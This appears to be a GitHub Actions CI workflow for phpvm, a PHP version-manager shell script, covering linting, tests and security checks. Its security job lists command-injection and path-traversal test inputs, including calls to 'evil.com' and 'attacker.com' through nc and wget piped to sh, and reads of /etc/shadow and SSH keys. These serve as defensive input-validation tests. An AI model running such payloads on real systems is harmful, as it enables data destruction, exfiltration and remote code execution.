CI Pipeline #39
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| name: CI Pipeline | |
| on: | |
| push: | |
| branches: [main, development, 'fix/**', 'feature/**'] | |
| pull_request: | |
| branches: [main, development] | |
| workflow_dispatch: | |
| schedule: | |
| # Weekly comprehensive tests including security scans (Mondays at 2 AM UTC) | |
| - cron: '0 2 * * 1' | |
| jobs: | |
| # ============================================================================= | |
| # QUICK CHECKS - Fast-fail static analysis | |
| # ============================================================================= | |
| quick-checks: | |
| name: 'Quick Checks (Syntax, Lint, Format)' | |
| runs-on: ubuntu-latest | |
| steps: | |
| - name: Checkout Repository | |
| uses: actions/checkout@v4 | |
| - name: Shell Syntax Check | |
| run: | | |
| echo "=== Checking Shell Syntax ===" | |
| bash -n phpvm.sh | |
| if [ -f install.sh ]; then bash -n install.sh; fi | |
| echo "✓ Syntax check passed" | |
| - name: Install Tools | |
| run: | | |
| sudo apt-get update | |
| sudo apt-get install -y shellcheck | |
| wget -O shfmt https://github.com/mvdan/sh/releases/download/v3.12.0/shfmt_v3.12.0_linux_amd64 | |
| chmod +x shfmt | |
| sudo mv shfmt /usr/local/bin/ | |
| - name: ShellCheck Analysis | |
| run: | | |
| echo "=== Running ShellCheck ===" | |
| shellcheck -f gcc phpvm.sh install.sh || exit 1 | |
| echo "✓ ShellCheck passed" | |
| - name: Code Formatting Check | |
| run: | | |
| echo "=== Checking Code Formatting ===" | |
| shfmt -d -i 4 -sr phpvm.sh install.sh || { | |
| echo "✗ Code formatting issues detected!" | |
| echo "Run 'make format' locally to fix." | |
| exit 1 | |
| } | |
| echo "✓ Formatting check passed" | |
| - name: Code Quality Checks | |
| run: | | |
| echo "=== Checking Code Quality ===" | |
| # Check for trailing whitespace | |
| if grep -n '[[:space:]]$' phpvm.sh install.sh 2>/dev/null; then | |
| echo "✗ Trailing whitespace found" | |
| exit 1 | |
| fi | |
| # Check for tabs (should use spaces) | |
| if grep -P '\t' phpvm.sh install.sh 2>/dev/null; then | |
| echo "✗ Tabs found - please use spaces" | |
| exit 1 | |
| fi | |
| echo "✓ Code quality checks passed" | |
| # ============================================================================= | |
| # SECURITY TESTING | |
| # ============================================================================= | |
| security: | |
| name: 'Security Testing' | |
| runs-on: ubuntu-latest | |
| needs: quick-checks | |
| steps: | |
| - name: Checkout Repository | |
| uses: actions/checkout@v4 | |
| - name: Security-focused ShellCheck | |
| run: | | |
| sudo apt-get update | |
| sudo apt-get install -y shellcheck | |
| echo "=== Security-focused Shell Analysis ===" | |
| shellcheck -f gcc -S error phpvm.sh || true | |
| # Check for unsafe patterns | |
| echo "Checking for potential security issues..." | |
| if grep -n "eval" phpvm.sh; then | |
| echo "⚠ Found eval usage - review for security" | |
| fi | |
| if grep -n "rm -rf \$" phpvm.sh; then | |
| echo "⚠ Found variable-based rm -rf - review for safety" | |
| fi | |
| if grep -n "sudo.*\$" phpvm.sh | grep -v "run_with_sudo"; then | |
| echo "⚠ Found direct sudo with variables - review for safety" | |
| fi | |
| - name: Input Validation Security Test | |
| run: | | |
| chmod +x ./phpvm.sh | |
| echo "=== Testing Input Validation Security ===" | |
| malicious_inputs=( | |
| "8.1; rm -rf /" | |
| "8.1 && curl http://evil.com" | |
| "8.1 | nc attacker.com 1234" | |
| "\$(whoami)" | |
| "\`id\`" | |
| "8.1 > /etc/passwd" | |
| "8.1; cat /etc/shadow" | |
| "../../../etc/passwd" | |
| "8.1 || wget http://evil.com/script.sh -O - | sh" | |
| ) | |
| for input in "${malicious_inputs[@]}"; do | |
| echo "Testing malicious input: $input" | |
| if ./phpvm.sh install "$input" 2>/dev/null; then | |
| echo "✗ SECURITY ISSUE: Accepted malicious input: $input" | |
| exit 1 | |
| else | |
| echo "✓ Correctly rejected: $input" | |
| fi | |
| done | |
| - name: Path Traversal Security Test | |
| run: | | |
| echo "=== Testing Path Traversal Protection ===" | |
| mkdir -p security_test | |
| path_traversal_inputs=( | |
| "../../../etc/passwd" | |
| "../../root/.ssh/id_rsa" | |
| "/etc/shadow" | |
| "..\\..\\windows\\system32\\config\\sam" | |
| "....//....//etc//passwd" | |
| ) | |
| for input in "${path_traversal_inputs[@]}"; do | |
| echo "$input" > security_test/.phpvmrc | |
| cd security_test | |
| if ../phpvm.sh auto 2>/dev/null; then | |
| echo "✗ SECURITY ISSUE: Accepted path traversal: $input" | |
| exit 1 | |
| else | |
| echo "✓ Correctly rejected path traversal: $input" | |
| fi | |
| cd .. | |
| done | |
| - name: Additional Security Tests | |
| run: | | |
| chmod +x ./phpvm.sh | |
| echo "=== Buffer Overflow & Input Length Tests ===" | |
| very_long_input=$(printf 'A%.0s' {1..1000}) | |
| if ./phpvm.sh install "$very_long_input" 2>/dev/null; then | |
| echo "✗ SECURITY ISSUE: Accepted extremely long input" | |
| exit 1 | |
| else | |
| echo "✓ Correctly rejected extremely long input" | |
| fi | |
| echo "=== File Permission Security ===" | |
| mkdir -p perm_test | |
| echo "8.1" > perm_test/.phpvmrc | |
| chmod 777 perm_test/.phpvmrc | |
| cd perm_test | |
| ../phpvm.sh auto || echo "✓ Handled world-writable .phpvmrc" | |
| cd .. | |
| echo "=== Checking for Hardcoded Secrets ===" | |
| if grep -iE "(password|secret|api.*key|auth.*token)" phpvm.sh | grep -v "^#"; then | |
| echo "⚠ Found potential secret patterns - review" | |
| fi | |
| echo "✓ Security tests completed" | |
| # ============================================================================= | |
| # BATS TEST SUITE | |
| # ============================================================================= | |
| bats-tests: | |
| name: 'BATS Tests (${{ matrix.os }})' | |
| runs-on: ${{ matrix.os }} | |
| needs: quick-checks | |
| strategy: | |
| fail-fast: false | |
| matrix: | |
| os: [ubuntu-latest, macos-latest] | |
| steps: | |
| - name: Checkout Repository | |
| uses: actions/checkout@v4 | |
| - name: Install BATS | |
| run: | | |
| if [ "${{ runner.os }}" = "macOS" ]; then | |
| brew install bats-core | |
| else | |
| sudo apt-get update | |
| sudo apt-get install -y bats | |
| fi | |
| - name: Run BATS Test Suite | |
| run: | | |
| echo "=== Running BATS Test Suite ===" | |
| bats tests/ -t | |
| - name: Upload Test Results | |
| if: always() | |
| uses: actions/upload-artifact@v4 | |
| with: | |
| name: bats-results-${{ matrix.os }} | |
| path: test-results/ | |
| retention-days: 30 | |
| # ============================================================================= | |
| # CORE FUNCTIONALITY TESTS | |
| # ============================================================================= | |
| core-tests: | |
| name: 'Core Functionality (${{ matrix.os }})' | |
| runs-on: ${{ matrix.os }} | |
| needs: quick-checks | |
| strategy: | |
| fail-fast: false | |
| matrix: | |
| os: [ubuntu-latest, macos-latest] | |
| steps: | |
| - name: Checkout Repository | |
| uses: actions/checkout@v4 | |
| - name: Setup Homebrew (Linux) | |
| if: runner.os == 'Linux' | |
| run: | | |
| sudo apt-get update | |
| sudo apt-get install -y build-essential curl file git | |
| NONINTERACTIVE=1 /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" | |
| echo 'eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)"' >> ~/.bashrc | |
| eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)" | |
| brew --version | |
| - name: Make Script Executable | |
| run: chmod +x ./phpvm.sh | |
| - name: Test Version Commands | |
| run: | | |
| echo "=== Testing Version Commands ===" | |
| ./phpvm.sh version | |
| ./phpvm.sh --version | |
| ./phpvm.sh -v | |
| echo "✓ All version commands work" | |
| - name: Test Basic Commands | |
| run: | | |
| echo "=== Testing Basic Commands ===" | |
| ./phpvm.sh help | |
| ./phpvm.sh list || echo "List executed" | |
| ./phpvm.sh info | |
| echo "✓ Basic commands work" | |
| - name: Test Error Handling | |
| run: | | |
| echo "=== Testing Error Handling ===" | |
| # Invalid command | |
| if ./phpvm.sh invalid_command 2>/dev/null; then | |
| echo "✗ Should have failed on invalid command" | |
| exit 1 | |
| else | |
| echo "✓ Correctly handles invalid commands" | |
| fi | |
| # Missing version parameter | |
| if ./phpvm.sh use 2>/dev/null; then | |
| echo "✗ Should have failed on missing version" | |
| exit 1 | |
| else | |
| echo "✓ Correctly handles missing version parameter" | |
| fi | |
| - name: Test .phpvmrc Auto-Switch | |
| run: | | |
| echo "=== Testing .phpvmrc Auto-Switch ===" | |
| mkdir -p test_project | |
| echo "8.3" > test_project/.phpvmrc | |
| cd test_project | |
| if [[ "${{ runner.os }}" == "Linux" ]]; then | |
| eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)" 2>/dev/null || true | |
| fi | |
| ../phpvm.sh auto || echo "Auto-switch attempted" | |
| cd .. | |
| echo "✓ Auto-switch test completed" | |
| - name: Performance Check | |
| run: | | |
| echo "=== Performance Check ===" | |
| time ./phpvm.sh version >/dev/null | |
| time ./phpvm.sh help >/dev/null | |
| time ./phpvm.sh list >/dev/null | |
| echo "✓ Performance check completed" | |
| # ============================================================================= | |
| # PHP INSTALLATION & INTEGRATION TESTS | |
| # ============================================================================= | |
| php-integration: | |
| name: 'PHP Integration (${{ matrix.os }})' | |
| runs-on: ${{ matrix.os }} | |
| needs: [bats-tests, core-tests] | |
| strategy: | |
| fail-fast: false | |
| matrix: | |
| os: [ubuntu-latest, macos-latest] | |
| steps: | |
| - name: Checkout Repository | |
| uses: actions/checkout@v4 | |
| - name: Setup Homebrew (Linux) | |
| if: runner.os == 'Linux' | |
| run: | | |
| sudo apt-get update | |
| sudo apt-get install -y build-essential curl file git | |
| NONINTERACTIVE=1 /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" | |
| echo 'eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)"' >> ~/.bashrc | |
| eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)" | |
| - name: Test Installation Script | |
| run: | | |
| echo "=== Testing install.sh ===" | |
| bash -n install.sh | |
| # Verify install script components | |
| grep -q "uname" install.sh && echo "✓ OS detection present" | |
| grep -qE "curl|wget" install.sh && echo "✓ Download mechanism present" | |
| grep -q "chmod" install.sh && echo "✓ Permission setting present" | |
| - name: Test PHP Installation Flow | |
| run: | | |
| chmod +x phpvm.sh | |
| if [[ "${{ runner.os }}" == "Linux" ]]; then | |
| eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)" | |
| fi | |
| echo "=== Testing PHP Installation ===" | |
| ./phpvm.sh install 8.3 || echo "PHP 8.3 installation attempted" | |
| ./phpvm.sh use 8.3 || echo "Switch to 8.3 attempted" | |
| ./phpvm.sh list | |
| ./phpvm.sh system || echo "System switch attempted" | |
| - name: Test Project Workflow | |
| run: | | |
| if [[ "${{ runner.os }}" == "Linux" ]]; then | |
| eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)" | |
| fi | |
| echo "=== Testing Project Workflow ===" | |
| mkdir -p test_project | |
| echo "8.3" > test_project/.phpvmrc | |
| cd test_project | |
| ../phpvm.sh auto || echo "Auto-switch attempted" | |
| cd .. | |
| - name: Test Error Recovery | |
| run: | | |
| echo "=== Testing Error Recovery ===" | |
| # Corrupted state | |
| mkdir -p ~/.phpvm | |
| echo "corrupted_data" > ~/.phpvm/active_version | |
| ./phpvm.sh list || echo "✓ Handled corrupted state" | |
| # Missing directories | |
| rm -rf ~/.phpvm/versions 2>/dev/null || true | |
| ./phpvm.sh list || echo "✓ Handled missing directories" | |
| # Invalid .phpvmrc | |
| mkdir -p error_test | |
| printf '\x00\x01\x02' > error_test/.phpvmrc | |
| cd error_test | |
| ../phpvm.sh auto 2>/dev/null || echo "✓ Handled binary .phpvmrc" | |
| cd .. | |
| # ============================================================================= | |
| # EXTENDED TESTS - Multi-Distribution (Scheduled only) | |
| # ============================================================================= | |
| multi-distro: | |
| name: 'Multi-Distribution (${{ matrix.scenario }})' | |
| runs-on: ubuntu-latest | |
| needs: quick-checks | |
| if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/main') | |
| strategy: | |
| fail-fast: false | |
| matrix: | |
| include: | |
| - distro: ubuntu:22.04 | |
| scenario: 'Ubuntu 22.04 LTS' | |
| - distro: ubuntu:24.04 | |
| scenario: 'Ubuntu 24.04 LTS' | |
| - distro: debian:12 | |
| scenario: 'Debian 12' | |
| - distro: fedora:39 | |
| scenario: 'Fedora 39' | |
| - distro: alpine:3.19 | |
| scenario: 'Alpine 3.19' | |
| steps: | |
| - name: Checkout Repository | |
| uses: actions/checkout@v4 | |
| - name: Run Tests in Container | |
| run: | | |
| if [[ "${{ matrix.distro }}" == alpine* ]]; then | |
| SHELL_CMD="sh" | |
| else | |
| SHELL_CMD="bash" | |
| fi | |
| docker run --rm -v $PWD:/workspace -w /workspace ${{ matrix.distro }} $SHELL_CMD -c " | |
| echo '=== Testing on ${{ matrix.scenario }} ===' | |
| # Install basic tools | |
| if command -v apt-get >/dev/null 2>&1; then | |
| apt-get update && apt-get install -y bash curl | |
| elif command -v dnf >/dev/null 2>&1; then | |
| dnf install -y bash curl | |
| elif command -v apk >/dev/null 2>&1; then | |
| apk add --no-cache bash curl | |
| fi | |
| # Test syntax | |
| bash -n phpvm.sh || exit 1 | |
| # Test basic commands | |
| chmod +x phpvm.sh | |
| ./phpvm.sh version || exit 1 | |
| ./phpvm.sh help >/dev/null || exit 1 | |
| echo '✓ All tests passed for ${{ matrix.scenario }}' | |
| " | |
| # ============================================================================= | |
| # PERFORMANCE TESTING (Scheduled only) | |
| # ============================================================================= | |
| performance: | |
| name: 'Performance & Load Testing' | |
| runs-on: ubuntu-latest | |
| needs: quick-checks | |
| if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/main') | |
| steps: | |
| - name: Checkout Repository | |
| uses: actions/checkout@v4 | |
| - name: Performance Benchmarks | |
| run: | | |
| chmod +x ./phpvm.sh | |
| echo "=== Performance Testing ===" | |
| # Startup time | |
| echo "Measuring startup time (10 iterations):" | |
| for i in {1..10}; do | |
| time ./phpvm.sh version >/dev/null | |
| done | |
| # Concurrent operations | |
| echo "Testing 20 concurrent operations:" | |
| for i in {1..20}; do | |
| ./phpvm.sh version >/dev/null & | |
| done | |
| wait | |
| echo "✓ Performance tests completed" | |
| # ============================================================================= | |
| # QUALITY GATE - Final validation | |
| # ============================================================================= | |
| quality-gate: | |
| name: 'Quality Gate ✅' | |
| runs-on: ubuntu-latest | |
| needs: [quick-checks, security, bats-tests, core-tests, php-integration] | |
| if: always() | |
| steps: | |
| - name: Check All Required Jobs | |
| run: | | |
| echo "=== Quality Gate Validation ===" | |
| if [ "${{ needs.quick-checks.result }}" != "success" ]; then | |
| echo "✗ Quick checks failed" | |
| exit 1 | |
| fi | |
| if [ "${{ needs.security.result }}" != "success" ]; then | |
| echo "✗ Security tests failed" | |
| exit 1 | |
| fi | |
| if [ "${{ needs.bats-tests.result }}" != "success" ]; then | |
| echo "✗ BATS tests failed" | |
| exit 1 | |
| fi | |
| if [ "${{ needs.core-tests.result }}" != "success" ]; then | |
| echo "✗ Core tests failed" | |
| exit 1 | |
| fi | |
| if [ "${{ needs.php-integration.result }}" != "success" ]; then | |
| echo "✗ PHP integration tests failed" | |
| exit 1 | |
| fi | |
| echo "✅ All quality checks passed!" | |
| echo "✅ CI pipeline successful!" |